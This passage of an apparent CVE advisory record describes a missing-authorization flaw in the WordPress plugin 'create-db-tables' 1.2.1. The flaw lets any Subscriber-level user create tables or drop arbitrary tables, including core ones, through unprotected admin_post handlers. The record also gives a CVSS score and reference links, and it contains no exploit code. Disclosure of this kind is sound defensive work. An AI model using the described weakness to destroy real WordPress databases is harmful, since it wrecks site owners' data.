The plugin registers admin_post action hooks for creating tables (admin_post_add_table) and deleting tables (admin_post_delete_db_table) without implementing any capability checks via current_user_can() or nonce verification via wp_verify_nonce()/check_admin_referer(). The admin_post hook only requires the user to be logged in, meaning any authenticated user including Subscribers can access these endpoints. The cdbt_delete_db_table() function takes a user-supplied table name from $_POST['db_table'] and executes a DROP TABLE SQL query, allowing any authenticated attacker to delete any database table including critical WordPress core tables such as wp_users or wp_options. The cdbt_create_new_table() function similarly allows creating arbitrary tables. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create arbitrary database tables and delete any existing database table, potentially destroying the entire WordPress installation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/create-db-tables/tags/1.2.1/create-db-tables.php#L370", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/create-db-tables/tags/1.2.1/create-db-tables.php#L376", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/create-db-tables/tags/1.2.1/create-db-tables.php#L405", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/create-db-tables/tags/1.2.1/create-db-tables.php#L408", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/create-db-tables/tags/1.2.1/create-new-table.php#L14", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/create-db-tables/tags/1.2.1/create-new-table.php#L69", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/create-db-tables/trunk/create-db-tables.php#L370", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/create-db-tables/trunk/create-db-tables.php#L376", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/create-db-tables/trunk/create-db-tables.php#L405", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/create-db-tables/trunk/create-db-tables.php#L408", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/create-db-tables/trunk/create-new-table.php#L14", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/create-db-tables/trunk/create-new-table.php#L69", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d1a3bc4b-cc17-4728-b242-13841b5f7660?source=cve", "source": "[email protected]"}]}}
